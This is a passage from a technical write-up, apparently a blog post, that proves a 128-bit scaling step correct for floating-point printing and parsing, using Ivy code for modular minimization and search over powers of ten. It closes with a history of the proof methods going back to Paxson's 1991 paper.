        m mx = m mx + (-c) cx * floor m/c
        m == 0: -1
        xr x = xr x + (-m) mx * ceil (0 max xr-hi)/m
        lo <= xr: x
        c cx = c cx + (-m) mx * floor c/m
        c == 0: -1
        # (C) xr < lo ≤ hi < xr+m
    :end

Each iteration of the outer while loop is now $O (1)$ , and the loop runs at most $O (log_{} c)$ times, giving a total time of $O (log_{} c)$ , dramatically better than the old $O (m)$ .

We can reformat the code to highlight the regular structure:

op modfirst (c m lo hi) =
    xr x cx mx = 0 0 1 0
    :while 1
        xr x  = xr x  +   c  cx * ceil (0 max lo-xr)/c ; xr <= hi : x
        m  mx = m  mx + (-c) cx * floor m/c            ; m == 0   : -1
        xr x  = xr x  + (-m) mx * ceil (0 max xr-hi)/m ; lo <= xr : x
        c  cx = c  cx + (-m) mx * floor c/m            ; c == 0   : -1
    :end

(modfirst 13 256 1 5) is 20   # 20*13 mod 256 = 4 ∈ [1, 5]
(modfirst 14 256 1 1) is -1   # impossible

We can also check that modfirst finds the exact answer from case 2, namely powers of five zeroing out the middle.

(modfirst (pm -3) (2**128) 1 (2**64)) is 125
spaced hex 125 * (pm -3)
-- out --
0x40 0000000000000000 0000000000000042

Modular Minimization

Now we can solve the problem of finding the $x \in [𝑥𝑚𝑎𝑥, 𝑥𝑚𝑖𝑛]$ that minimizes $x \cdot c mod m$ .

Define the notation $x_{R} = x \cdot c mod m$ (the “residue” of $x$ ). We can construct $x \in [𝑥𝑚𝑖𝑛, 𝑥𝑚𝑎𝑥]$ with minimal $x_{R}$ with the following greedy algorithm.

Start with $x = 𝑥𝑚𝑖𝑛$ .
Find the first $y \in [x + 1, 𝑥𝑚𝑎𝑥]$ such that $y_{R} < x_{R}$ .
If no such $y$ exists, return $x$ .
Set $x = y$ .
Go to step 2.

The algorithm finds the right answer, because it starts at $𝑥𝑚𝑖𝑛$ and then steps through every succesively better answer along the way to $𝑥𝑚𝑎𝑥$ . The algorithm terminates because every search is finite and every step moves $x$ forward by at least 1. The only detail remaining is how to implement step 2.

For any $x$ and $y$ , $(x_{R} - y_{R}) mod m = (x - y)_{R}$ , because multiplication distributes over subtraction. Call that the subtraction lemma.

Finding the first $y \in [x + 1, 𝑥𝑚𝑎𝑥]$ with $y_{R} < x_{R}$ is equivalent to finding the first $d \in [1, 𝑥𝑚𝑎𝑥 - x]$ with $(x + d)_{R} < x_{R}$ . By the subtraction lemma, $d_{R} = ((x + d)_{R} - x_{R}) mod m$ , so we are looking for the first $d \geq 1$ with $d_{R} \in [m - x_{R}, m - 1]$ . That’s what modfirst does, except it searches $d \geq 0$ . But $0_{R} = 0$ and we will only search for $𝑙𝑜 \geq 1$ , so modfirst can safely start its search at $0$ .

Note that if $d_{R} \in [m - (x + d)_{R}, m - 1]$ , the next iteration will choose the same $d$ —any better answer would have been an answer to the original search. So after finding $d$ , we should add it to $x$ as many times as we can.

The full algorithm is then:

Start with $x = 𝑥𝑚𝑖𝑛$ .
Use modfirst to find the first $d \geq 0$ such that $d_{R} \in [m - x_{R}, m - 1]$ .
If no $d$ exists or $x + d > 𝑥𝑚𝑎𝑥$ , stop and return $x$ . Otherwise continue.
Let $s = m - d_{R}$ , the number we are effectively subtracting from $x_{R}$ .
Let $n$ be the smaller of $⌊ (𝑥𝑚𝑎𝑥 - x) / d ⌋$ (the most times we can add $d$ to $x$ before exceeding our limit) and $⌊ x_{R} / s ⌋$ (the most times we can subtract $s$ from $x_{R}$ before wrapping around).
Set $x = x + d \cdot n$ .
Go to step 2.

In Ivy, that algorithm is:

op modmin (xmin xmax c m) =
    x = xmin
    :while 1
        xr = (x*c) mod m
        d = modfirst c m, m - xr 1
        (d < 0) or (x+d) > xmax: x
        s = m - (d*c) mod m
        x = x + d * floor ((xmax-x)/d) min xr/s
    :end

(modmin 10 25 13 255) is 20

The running time of modmin depends on what limits $n$ . If $n$ is limited by $(𝑥𝑚𝑎𝑥 - x) / d$ then the next iteration will not find a usable $d$ , since any future $d$ would have to be bigger than the one we just found, and there won’t be room to add it. On the other hand, if $n$ is limited by $x_{R} / s$ , then it means we reduced $x_{R}$ at least by half. That limits the number of iterations to $log_{2} m$ , and since modfirst is $O (log_{} m)$ , modmin is $O (log^{2} m)$ .

The subtraction lemma and modfirst let us build other useful operations too. One obvious variant of modmin is modmax, which finds the $x \in [𝑥𝑚𝑖𝑛, 𝑥𝑚𝑎𝑥]$ that maximizes $x_{R}$ and also runs in $O (log^{2} m)$ .

We can extend modmin to minimize $x_{R} \geq 𝑙𝑜$ instead, by stepping to the first $x_{R} \geq 𝑙𝑜$ before looking for improvements:

op modminge (xmin xmax c m lo) =
    x = xmin
    :if (xr = (x*c) mod m) < lo
        d = modfirst c m (lo-xr) ((m-1)-xr)
        d < 0: :ret -1
        x = x + d
    :end
    :while 1
        xr = (x*c) mod m
        d = modfirst c m (m-(xr-lo)) (m-1)
        (d < 0) or (x+d) > xmax: x
        s = m - (d*c) mod m
        x = x + d * floor ((xmax-x)/d) min (xr-lo)/s
    :end

op modmin (xmin xmax c m) = modminge xmin xmax c m 0

(modmin 10 25 13 255) is 20
(modminge 10 25 13 255 6) is 21
(modminge 1 20 13 255 6) is 1
(modminge 10 20 255 255 1) is -1

We can also invert the search to produce modmax and modmaxle:

op modmaxle (xmin xmax c m hi) =
    x = xmin
    :if (xr = (x*c) mod m) > hi
        d = modfirst c m (m-xr) ((m-xr)+hi)
        d < 0: :ret -1
        x = x + d
    :end
    :while 1
        xr = (x*c) mod m
        d = modfirst c m 1 (hi-xr)
        (d < 0) or (x+d) > xmax: x
        s = (d*c) mod m
        x = x + d * floor ((xmax-x)/d) min (hi-xr)/s
    :end

op modmax (xmin xmax c m) = modmaxle xmin xmax c m (m-1)

(modmax 10 25 13 255) is 19
(modmaxle 10 25 13 255 200) is 15

Another variant is modfind, which finds the first $x \in [𝑥𝑚𝑖𝑛, 𝑥𝑚𝑎𝑥]$ such that $x_{R} \in [𝑙𝑜, hi]$ . It doesn’t need a loop at all:

op modfind (xmin xmax c m lo hi) =
    x = xmin
    xr = (x*c) mod m
    (lo <= xr) and xr <= hi: x
    d = modfirst c m, (lo hi - xr) mod m
    (d < 0) or (x+d) > xmax: -1
    x+d

(modfind 21 100 13 256 1 10) is 40

We can also build modfindall, which finds all the $x \in [𝑥𝑚𝑖𝑛, 𝑥𝑚𝑎𝑥]$ such that $x_{R} \in [𝑙𝑜, hi]$ . Because there might be a very large number, it stops after finding the first 100.

op modfindall (xmin xmax c m lo hi) =
    all = ()
    :while 1
        x = modfind xmin xmax c m lo hi
        x < 0: all
        all = all, x
        (count all) >= 100: all
        xmin = x+1
    :end

(modfindall 21 100 13 256 1 10) is 40 79 99

Because modfind and modfindall both call modfind $O (1)$ times, they both run in $O (log m)$ time.

Modular Proof

Now we are ready to analyze individual powers.

For a given $𝑝𝑚$ , $b$ , and $m$ , we want to verify that for all $x \in [2^{b - 1}, 2^{b})$ , we have $𝑚𝑖𝑑𝑑𝑙𝑒 \geq 2$ , or equivalently, $𝑚𝑖𝑑𝑑𝑙𝑒 || 𝑏𝑜𝑡𝑡𝑜𝑚 = x \cdot 𝑝𝑚 mod 2^{b + m} \geq 2^{b + 1}$ . We can use either modmin or modfind to do this. Let’s use modmin, so we can show how close we came to failing.

We’ll start with a function check1 to check a single power, and show1 to format its result:

# (b m) check1 p returns (p pm x middle fail) where pm is (pm p).
# If there is a counterexample to p, x is the first one,
# middle is (x*pm)'s middle bits, and fail is 1.
# If there is no counterexample, x middle fail are 0 0 0.
op (b m) check1 p =
    x = modmin (2**b-1) ((2**b)-1) (pm p) (2**b+m)
    middle = ((x * pm p) mod 2**b+m) >> b
    p (pm p) x middle (middle < 2)

# show1 formats the result of check1.
op show1 (p pm x middle fail) =
    p (hex pm) (hex x) (hex middle) ('.❌'[fail])

show1 64 64 check1 200
-- out --
200 0xa738c6bebb12d16cb428f8ac016561dc 0xffe389b3cdb6c3d0 0x34 .

For $p = 200$ , no 64-bit input produces a 64-bit middle less than 2.

On the other hand, for $p = - 1$ , we can verify that check1 finds a multiple of 5 that zeroes the middle:

show1 64 64 check1 -1
-- out --
-1 0xcccccccccccccccccccccccccccccccd 0x8000000000000002 0x0 ❌

Let’s check more than one power, gathering the results into a matrix:

op (b m) check ps = mix b m check1@ ps
op show table = mix show1@ table

show 64 64 check seq 25 35
-- out --
25 0x84595161401484a00000000000000000 0x8000000000000000 0x0 ❌
26 0xa56fa5b99019a5c80000000000000000 0x8000000000000000 0x0 ❌
27 0xcecb8f27f4200f3a0000000000000000 0x8000000000000000 0x0 ❌
28 0x813f3978f89409844000000000000000 0xec03c1a1aa24cc97 0x1 ❌
29 0xa18f07d736b90be55000000000000000 0xe06076f9cb96fe0d 0x5 .
30 0xc9f2c9cd04674edea400000000000000 0xfbd9be9d5bc8934e 0x1 ❌
31 0xfc6f7c40458122964d00000000000000 0x93997b98618e62a1 0x0 ❌
32 0x9dc5ada82b70b59df020000000000000 0xd0808609f474615a 0x2 .
33 0xc5371912364ce3056c28000000000000 0xc97002677c2de03f 0x0 ❌
34 0xf684df56c3e01bc6c732000000000000 0xc97002677c2de03f 0x0 ❌
35 0x9a130b963a6c115c3c7f400000000000 0xfd073be688a7dbaa 0x3 .

Now let’s write code to show just the start and end of a table, to avoid very long outputs:

op short table =
    (count table) <= 15: table
    (5 take table) ,% ((count table[0]) rho box '...') ,% (-5 take table)

short show 64 64 check seq 25 95
-- out --
 25 0x84595161401484a00000000000000000 0x8000000000000000 0x0   ❌
 26 0xa56fa5b99019a5c80000000000000000 0x8000000000000000 0x0   ❌
 27 0xcecb8f27f4200f3a0000000000000000 0x8000000000000000 0x0   ❌
 28 0x813f3978f89409844000000000000000 0xec03c1a1aa24cc97 0x1   ❌
 29 0xa18f07d736b90be55000000000000000 0xe06076f9cb96fe0d 0x5   .
...                                ...                ... ... ...
 91 0x9d174b2dcec0e47b62eb0d64283f9c77 0xde861b1f480d3b9e 0x1   ❌
 92 0xc45d1df942711d9a3ba5d0bd324f8395 0xe621cb57290a897f 0x0   ❌
 93 0xf5746577930d6500ca8f44ec7ee3647a 0xa6bc10ca9dd53eff 0x1   ❌
 94 0x9968bf6abbe85f207e998b13cf4e1ecc 0xd011cce372153a65 0x0   ❌
 95 0xbfc2ef456ae276e89e3fedd8c321a67f 0xa674a3e92810fb84 0x0   ❌

We can see that most powers are problematic for $b = 64$ , $m = 64$ , which is why we’re not trying to prove that general case.

Let’s make it possible to filter the table down to just the bad powers:

op sel x = x sel iota count x
op bad table = table[sel table[;4] != 0]

short show bad 64 64 check seq -400 400
-- out --
-400 0x95fe7e07c91efafa3931b850df08e739 0xe4036416c4b21bd6 0x0   ❌
-399 0xbb7e1d89bb66b9b8c77e266516cb2107 0xe4036416c4b21bd6 0x0   ❌
-398 0xea5da4ec2a406826f95daffe5c7de949 0xe4036416c4b21bd6 0x0   ❌
-397 0x927a87139a6841185bda8dfef9ceb1ce 0xfcdbd01bdf2d3eb2 0x0   ❌
-395 0xe4df730ea142e5b60f857dde6652f5d1 0x99535e222a18bc6d 0x0   ❌
 ...                                ...                ... ... ...
 395 0x8f2bd39f334827e8c5874cc0ec691ba0 0xa462c66df06d90e3 0x0   ❌
 397 0xdfb47aa8c020be5bb4a367ed71643b2a 0x90ae62dc5a2282dd 0x0   ❌
 398 0x8bd0cca9781476f950e620f466dea4fb 0xd0be819cb0f1092e 0x0   ❌
 399 0xaec4ffd3d61994b7a51fa93180964e39 0xa6fece16f3f40758 0x0   ❌
 400 0xda763fc8cb9ff9e58e67937de0bbe1c7 0x8598a4df299005e0 0x0   ❌

Now we have everything we need. Let’s write a function to try to prove that scale is correct for a given $b$ and $m$ .

op prove (b m) =
    table = bad b m check (seq -400 -28), (seq 28 400)
    what = 'b=', (text b), ' m=', (text m), ' t=', (text 127-m), '+½'
    (count table) == 0: print '✅ proved   ' what
    print '❌ disproved' what
    print short show table

This function builds a table of all the bad powers for $b, m$ . If the table is empty, it prints that the settings have been proved. If not, it prints that the settings are unproven and prints some of the questionable powers.

If we try to prove $64, 64$ , we get many unproven powers.

prove 64 64
-- out --
❌ disproved b=64 m=64 t=63+½
-400 0x95fe7e07c91efafa3931b850df08e739 0xe4036416c4b21bd6 0x0   ❌
-399 0xbb7e1d89bb66b9b8c77e266516cb2107 0xe4036416c4b21bd6 0x0   ❌
-398 0xea5da4ec2a406826f95daffe5c7de949 0xe4036416c4b21bd6 0x0   ❌
-397 0x927a87139a6841185bda8dfef9ceb1ce 0xfcdbd01bdf2d3eb2 0x0   ❌
-395 0xe4df730ea142e5b60f857dde6652f5d1 0x99535e222a18bc6d 0x0   ❌
 ...                                ...                ... ... ...
 395 0x8f2bd39f334827e8c5874cc0ec691ba0 0xa462c66df06d90e3 0x0   ❌
 397 0xdfb47aa8c020be5bb4a367ed71643b2a 0x90ae62dc5a2282dd 0x0   ❌
 398 0x8bd0cca9781476f950e620f466dea4fb 0xd0be819cb0f1092e 0x0   ❌
 399 0xaec4ffd3d61994b7a51fa93180964e39 0xa6fece16f3f40758 0x0   ❌
 400 0xda763fc8cb9ff9e58e67937de0bbe1c7 0x8598a4df299005e0 0x0   ❌

Large Powers, Printing

For printing, we need to prove $b = 55, m = 66$ .

prove 55 66
-- out --
✅ proved    b=55 m=66 t=61+½

It works! In fact we can shorten the middle to 64 bits before things get iffy:

prove 55 66
prove 55 65
prove 55 64
prove 55 63
prove 55 62
-- out --
✅ proved    b=55 m=66 t=61+½
✅ proved    b=55 m=65 t=62+½
✅ proved    b=55 m=64 t=63+½
❌ disproved b=55 m=63 t=64+½
167 0xd910f7ff28069da41b2ba1518094da05 0x7b6e56a6b7fd53 0x0 ❌
❌ disproved b=55 m=62 t=65+½
167 0xd910f7ff28069da41b2ba1518094da05 0x7b6e56a6b7fd53 0x0 ❌
201 0xd106f86e69d785c7e13336d701beba53 0x68224666341b59 0x1 ❌
211 0xf356f7ebf83552fe0583f6b8c4124d44 0x69923a6ce74f07 0x0 ❌

Lemma 9. For $p \in [- 400, - 28] \cup [28, 400]$ , $b \leq 55$ , and $m \geq 66$ , $Scale (x, e, p)$ computes $uscale (x, e, p)$ and $𝑚𝑖𝑑𝑑𝑙𝑒 \neq 1$ .

Proof. We calculated above that $𝑚𝑖𝑑𝑑𝑙𝑒 \geq 2$ . By Lemma 4, $Scale (x, e, p)$ computes $uscale (x, e, p)$ . $∎$

Large Powers, Parsing

For parsing, we want to prove $b = 64$ , $m = 73$ .

prove 64 73
-- out --
✅ proved    b=64 m=73 t=54+½

It also works! But we’re right on the edge. Shortening the middle by one bit breaks the proof:

prove 64 73
prove 64 72
-- out --
✅ proved    b=64 m=73 t=54+½
❌ disproved b=64 m=72 t=55+½
-93 0x857fcae62d8493a56f70a4400c562ddc 0xf324bb0720dbe7fe 0x1 ❌

Lemma 10. For $p \in [- 400, - 28] \cup [28, 400]$ , $b \leq 64$ , and $m \geq 73$ , $Scale (x, e, p)$ computes $uscale (x, e, p)$ and $𝑚𝑖𝑑𝑑𝑙𝑒 \neq 1$ .

Proof. We calculated above that $𝑚𝑖𝑑𝑑𝑙𝑒 \geq 2$ . By Lemma 4, $Scale (x, e, p)$ computes $uscale (x, e, p)$ . $∎$

Bonus: 64-bit Input, 64-bit Output?

We don’t need full 64-bit input and 64-bit output, but if we did, there is a way to make it work at only a minor performance cost. It turns out that for 64-bit input and 64-bit output, for any given $p$ , considering all the inputs $x$ that cause $𝑚𝑖𝑑𝑑𝑙𝑒 = 0$ , either all the middles overflowed or none of them did. So we can use a lookup table to decide how to interpret $𝑚𝑖𝑑𝑑𝑙𝑒 = 0$ .

The implementation steps would be:

Note that the proofs remain valid without $𝑚𝑖𝑑𝑑𝑙𝑒 \neq 1$ .
Don’t make use of the $𝑚𝑖𝑑𝑑𝑙𝑒 \neq 1$ optimization in the uscale implementation.
When $p$ is large, force the sticky bit to 1 instead of trying to compute it from $𝑚𝑖𝑑𝑑𝑙𝑒$ .
When $𝑚𝑖𝑑𝑑𝑙𝑒 = 0$ for a large $p$ , consult a table of hint bits indexed by $p$ to decide whether $𝑚𝑖𝑑𝑑𝑙𝑒$ has overflowed. If so, decrement $𝑡𝑜𝑝$ .

Here is a proof that this works.

First, define topdiff which computes the difference between $𝑡𝑜𝑝$ and $𝑡𝑜𝑝^{ℝ}$ for a given $b, m, p$ .

# topdiff computes top - topℝ.
op (b m p) topdiff x =
    top = (x * pm p) >> b+m
    topℝ = (floor x * (10**p) / 2**pe p) >> b+m
    top - topℝ

Next, define hint, which is like check1 in that it looks for counterexamples. When it finds counterexamples, it computes topdiff for each one and reports whether they all match, and if so what their value is.

# (b m) hint p returns (p pm x middle fail) where pm is (pm p).
# If there is a counterexample to p, x is the first one,
# middle is (x*pm)'s middle bits, and fail is 1, 2, or 3:
#   1 if all counterexamples have top = topR
#   2 if all counterexamples have have top = topR+1
#   3 if both kinds of counterexamples exist or other counterexamples exist
# If there is no counterexample, x middle fail are 0 0 0.
op (b m) hint p =
    x = modmin (2**b-1) ((2**b)-1) (pm p) (2**b+m)
    middle = ((x * pm p) mod 2**b+m) >> b
    middle >= 1: p (pm p) x middle 0
    all = modfindall (2**b-1) ((2**b)-1) (pm p) (2**b+m) 0 ((2**b)-1)
    diffs = b m p topdiff@ all
    equal = or/ diffs == 0
    carry = or/ diffs == 1
    other = ((count all) >= 100) or or/ (diffs != 0) and (diffs != 1)
    p (pm p) x middle ((1*equal)|(2*carry)|(3*other))

Finally, define hints, which is like show check. It gets the hint results for all large $p$ and prints a summary of how many were in four categories: no hints needed, all hints 0, all hints 1, mixed hints.

op hints (b m) =
    table = mix b m hint@ (seq -400 -28), (seq 28 400)
    (box 'b=', (text b), ' m=', (text m)), (+/ mix table[;4] ==@ iota 4)

Now we can try $b = 64, m = 64$ :

hints 64 64
-- out --
b=64 m=64 452 184 110 0

The output says that 452 powers don’t need hints, 184 need a hint that $𝑡𝑜𝑝^{ℝ} = 𝑡𝑜𝑝$ , and 110 need a hint that $𝑡𝑜𝑝^{ℝ} = 𝑡𝑜𝑝 - 1$ . Crucially, 0 need conflicting hints, so the hinted algorithm works for $b = 64, m = 64$ .

Of course, that leaves 64 top bits, and since one bit is the ½ bit, this is technically only a 63-bit result. (If you only needed a truncated 64-bit result instead of a rounded one, you could use $e - 1$ and read the ½ bit as the final bit of truncated result.)

It turns out that hints are not enough to get a full 64 bits plus a ½ bit, which would leave a 63-bit middle. In that case, there turn out to be 63 powers where $𝑚𝑖𝑑𝑑𝑙𝑒 = 0$ is ambiguous:

hints 64 63
-- out --
b=64 m=63 241 283 159 63

However, if you only have 63 bits of input, then you can have the full 64-bit output:

hints 63 64
-- out --
b=63 m=64 601 86 59 0

Completed Proof

Theorem 1. For the cases used in the printing and parsing algorithms, namely $p \in [- 400, 400]$ with (printing) $b \leq 55, m \geq 66$ and (parsing) $b \leq 64, m \geq 73$ , $Scale$ is correct and $𝑚𝑖𝑑𝑑𝑙𝑒 \neq 1$ .

Proof. We proved these five cases:

Lemma 3. For exact results, $Scale$ computes $uscale (x, e, p)$ and $𝑚𝑖𝑑𝑑𝑙𝑒 \neq 1$ .
Lemma 7. For inexact results and $p \in [0, 27]$ and $b \leq 64$ , $Scale (x, e, p)$ computes $uscale (x, e, p)$ and $𝑚𝑖𝑑𝑑𝑙𝑒 \neq 1$ .
Lemma 8. For inexact results, $p \in [- 27, - 1]$ , and $b \leq 64$ , $Scale (x, e, p)$ computes $uscale (x, e, p)$ and $𝑚𝑖𝑑𝑑𝑙𝑒 \neq 1$ .
Lemma 9. For $p \in [- 400, - 28] \cup [28, 400]$ , $b \leq 55$ , and $m \geq 66$ , $Scale (x, e, p)$ computes $uscale (x, e, p)$ and $𝑚𝑖𝑑𝑑𝑙𝑒 \neq 1$ .
Lemma 10. For $p \in [- 400, - 28] \cup [28, 400]$ , $b \leq 64$ , and $m \geq 73$ , $Scale (x, e, p)$ computes $uscale (x, e, p)$ and $𝑚𝑖𝑑𝑑𝑙𝑒 \neq 1$ .

The result follows directly from these. $∎$

A Simpler Proof

The proof we just finished is the most precise analysis we can do. It enables tricks like the hint table for 64-bit input and 64-bit output. However, for printing and parsing, we don’t need to be quite that precise. We can reduce the four inexact cases to two by analyzing the exact $𝑝𝑚^{ℝ}$ values instead of our rounded $𝑝𝑚$ values. We will show that the spacing around the exact integer results is wide enough that all the non-exact integers can’t have middles near $0$ or $2^{m}$ . The idea of proving a minimal spacing around the exact integer results is due to Michel Hack, although the proof is new.

Specifically, we can use the same machinery we just built to prove that $𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} \in [2, 2^{m + 2}]$ for inexact results with $p \in [- 400, 400]$ , eliminating the need for Lemmas 7 and 8 by generalizing Lemmas 9 and 10. To do that, we analyze the non-zero results of $x \cdot 𝑝𝑚^{ℝ} mod 2^{b + m}$ . (If that expression is zero, the result is exact, and we are only analyzing the inexact case.)

Let’s start by defining gcd and pmR, which returns pn pd such that $𝑝𝑚^{ℝ} = 𝑝𝑛 / 𝑝𝑑$ .

op x gcd y =
    not x*y: x+y
    x > y: (x mod y) gcd y
    x <= y: x gcd (y mod x)

(15 gcd 40) is 5

op pmR p =
    e = pe p
    num = (10**(0 max p)) * (2**-(0 min e))
    denom = (10**-(0 min p)) * (2**(0 max e))
    num denom / num gcd denom

(pmR -5) is (2**139) (5**5)

Let’s also define a helper zlog that is like $log_{2} | x |$ except that zlog 0 is 0.

op zlog x =
    x == 0: 0
    2 log abs x

(zlog 4) is 2
(zlog 0) is 0

Now we can write an exact version of check1. We want to analyze $x \cdot 𝑝𝑚^{ℝ} mod 2^{b + m}$ , but to use integers, instead we analyze $x_{R} = x \cdot 𝑝𝑛 mod 𝑝𝑑 \cdot 2^{b + m}$ . We find the $x \in [𝑥𝑚𝑖𝑛, 𝑥𝑚𝑎𝑥]$ with minimal $x_{R} > 0$ and the $y \in [𝑥𝑚𝑖𝑛, 𝑥𝑚𝑎𝑥]$ with maximal $y_{R}$ . Then we convert those to $𝑚𝑖𝑑𝑑𝑙𝑒$ values by dividing by $𝑝𝑑 \cdot 2^{b}$ .

op (b m) check1R p =
    pn pd = pmR p
    xmin = 2**b-1
    xmax = (2**b)-1
    M = pd * 2**b+m
    x = modminge xmin xmax pn M 1
    x < 0: p 0 0 0 0
    y = modmax xmin xmax pn M
    xmiddle ymiddle = float ((x y * pn) mod M) / pd * 2**b
    p x y xmiddle ((xmiddle < 2) or (ymiddle > M-2))

op (b m) checkR ps = mix b m check1R@ ps

show1 64 64 check1 200
show1 64 64 check1R 200
-- out --
200 0xa738c6bebb12d16cb428f8ac016561dc 0xffe389b3cdb6c3d0 0x34 .
200 0xffe389b3cdb6c3d0 0x8064104249b3c03e 0x1.9c2145p+05 .

op proveR (b m) =
    table = bad b m checkR (seq -400 400)
    what = 'b=', (text b), ' m=', (text m), ' t=', text ((127-1)-m),'+½'
    (count table) == 0: print '✅ proved   ' what
    print '❌ disproved' what
    print short show table

proveR 55 66
proveR 55 62
proveR 64 73
proveR 64 72
-- out --
✅ proved    b=55 m=66 t=60 + ½
❌ disproved b=55 m=62 t=64 + ½
167 0x7b6e56a6b7fd53 0x463bc17af3f48e 0x1.817b1cp-02 ❌
201 0x68224666341b59 0x588220995c452a 0x1.8e0a91p-02 ❌
211 0x69923a6ce74f07 0x597216983bdc1a 0x1.14fbd3p-03 ❌
221 0x404a552daaaeea 0x50ad765f4fd461 0x1.de3812p+00 ❌
✅ proved    b=64 m=73 t=53 + ½
❌ disproved b=64 m=72 t=54 + ½
-93 0xf324bb0720dbe7fe 0xc743006eaf2d0e4f 0x1.3a8eb6p+00 ❌

The failures that proveR finds mostly correspond to the failures that prove found, except that proveR is slightly more conservative: the reported failure for $p = 221$ is a false positive.

prove 55 66
prove 55 62
prove 64 73
prove 64 72
-- out --
✅ proved    b=55 m=66 t=61+½
❌ disproved b=55 m=62 t=65+½
167 0xd910f7ff28069da41b2ba1518094da05 0x7b6e56a6b7fd53 0x0 ❌
201 0xd106f86e69d785c7e13336d701beba53 0x68224666341b59 0x1 ❌
211 0xf356f7ebf83552fe0583f6b8c4124d44 0x69923a6ce74f07 0x0 ❌
✅ proved    b=64 m=73 t=54+½
❌ disproved b=64 m=72 t=55+½
-93 0x857fcae62d8493a56f70a4400c562ddc 0xf324bb0720dbe7fe 0x1 ❌

Lemma 11. For $p \in [- 400, 400]$ , $b \leq 55$ , and $m \geq 66$ , $Scale (x, e, p)$ computes $uscale (x, e, p)$ and $𝑚𝑖𝑑𝑑𝑙𝑒 \neq 1$ .

Proof. Our Ivy code proveR 55 66 confirmed that $𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} \in [2, 2^{m} - 2]$ . By Lemma 5 and Lemma 6, $Scale (x, e, p)$ computes $uscale (x, e, p)$ and $𝑚𝑖𝑑𝑑𝑙𝑒 \neq 1$ . $∎$

Lemma 12. For $p \in [- 400, 400]$ , $b \leq 64$ , and $m \geq 73$ , $Scale (x, e, p)$ computes $uscale (x, e, p)$ and $𝑚𝑖𝑑𝑑𝑙𝑒 \neq 1$ .

Proof. Our Ivy code proveR 64 73 confirmed that $𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} \in [2, 2^{m} - 2]$ . By Lemma 5 and Lemma 6, $Scale (x, e, p)$ computes $uscale (x, e, p)$ and $𝑚𝑖𝑑𝑑𝑙𝑒 \neq 1$ . $∎$

Theorem 2. For the cases used in the printing and parsing algorithms, namely $p \in [- 400, 400]$ with (printing) $b \leq 55, m \geq 66$ and (parsing) $b \leq 64, m \geq 73$ , $Scale$ is correct and $𝑚𝑖𝑑𝑑𝑙𝑒 \neq 1$ .

Proof. Follows from Lemma 3, Lemma 11, and Lemma 12. $∎$

Related Work

Parts of this proof have been put together in different ways for other purposes before, most notably to prove that exact truncated scaling can be implemented using 128-bit mantissas in floating-point parsing and printing algorithms. This section traces the history of the ideas as best I have been able to determine it. In these summaries, I am using the terminology and notation of this post—such as top, middle, bottom, $x_{R}$ and $𝑝𝑚^{ℝ}$ —for consistency and ease of understanding. Those terms and notations do not appear in the actual related work.

This section is concerned with the proof methods in these papers and only touches on the actual algorithms to the extent that they are relevant to what was proved. The main post’s related work discusses the algorithms in more detail.

Paxson 1991

→ Vern Paxson, “A Program for Testing IEEE Decimal-Binary Conversion”, class paper 1991.

The earliest work that I have found that linked modular minimization to floating-point conversions is Paxson’s 1991 paper, already mentioned above and written for one of William Kahan’s graduate classes. Paxson credits Tim Peters for the modular minimization algorithms, citing an email discussion on validgh!numeric-interest@uunet.uu.net in April 1991:

In the following section we derive a modular equation which if minimized produces especially difficult conversion inputs; those that lie as close as possible to exactly half way between two representable outputs. We then develop the theoretical framework for demonstrating the correctness of two algorithms developed by Tim Peters for solving such a modular minimization problem in O(log(N)) time.

I have been unable to find copies of the numeric-interest email discussion.

Peters broke down the minimization problem into a two step process, which I followed in this proof. Using this post’s notation ( $x_{R} = x \cdot c mod m$ ), the two steps in Paxson’s paper (with two algorithms each) are:

FirstModBelow: Find the first $x \geq 0$ with $x_{R} \leq hi$ .
FirstModAbove: Find the first $x \geq 0$ with $x_{R} \geq 𝑙𝑜$ .
ModMin: Find the $x \in [𝑥𝑚𝑖𝑛, 𝑥𝑚𝑎𝑥]$ that maximizes $x_{R} \leq hi$ .
ModMax: Find the $x \in [𝑥𝑚𝑖𝑛, 𝑥𝑚𝑎𝑥]$ that minimizes $x_{R} \geq 𝑙𝑜$ .

(The names ModMin and ModMax seem inverted from their definitions, but perhaps “Min” refers to finding something below a limit and “Max” to finding something above a limit. They are certainly inverted from this post’s usage.)

In contrast, this post’s algorithms are;

modfirst: Find the first $x \geq 0$ with $x_{R} \in [𝑙𝑜, hi]$ .
modfind: Find the first $x \in [𝑥𝑚𝑖𝑛, 𝑥𝑚𝑎𝑥]$ with $x_{R} \in [𝑙𝑜, hi]$ .
modmin: Find the $x \in [𝑥𝑚𝑖𝑛, 𝑥𝑚𝑎𝑥]$ that minimizes $x_{R}$ .
modminge: Find the $x \in [𝑥𝑚𝑖𝑛, 𝑥𝑚𝑎𝑥]$ that minimizes $x_{R} \geq 𝑙𝑜$ .
modmax: Find the $x \in [𝑥𝑚𝑖𝑛, 𝑥𝑚𝑎𝑥]$ that maximizes $x_{R}$ .

It is possible to use modfirst to implement Paxson’s FirstModBelow and FirstModAbove, and vice versa, so they are equivalent in power.

In Paxson’s paper, the implementation and correctness of FirstModBelow and FirstModAbove depend on computing the convergents of continued fractions of $c / m$ and proving properties about them. Specifically, the result of FirstModBelow must be the denominator of a convergent or semiconvergent in the continued fraction for $c / m$ , so it suffices to find the last even convergent $p_{2 i} / q_{2 i}$ such that $(q_{2 i})_{R} > hi$ but $(q_{2 (i + 1)})_{R} < hi$ , and then compute the correct $q_{2 i} + k \cdot q_{2 i + 1}$ by looking at how much $(q_{2 i + 1})_{R}$ subtracts from $(q_{2 i})_{R}$ and subtracting it just enough times. I had resigned myself to implementing this approach before I found David Wärn’s simpler proof of the direct GCD-like approach in modfirst. The intermediate steps in $GCD (p, q)$ are exactly the continued fraction representation of $p / q$ , so it is not surprising that both GCDs and continued fractions can be used for modular search.

No matter how modfirst is implemented, the critical insight is Peters’s observaton that “find the first” is a good building block for the more sophisticated searches.

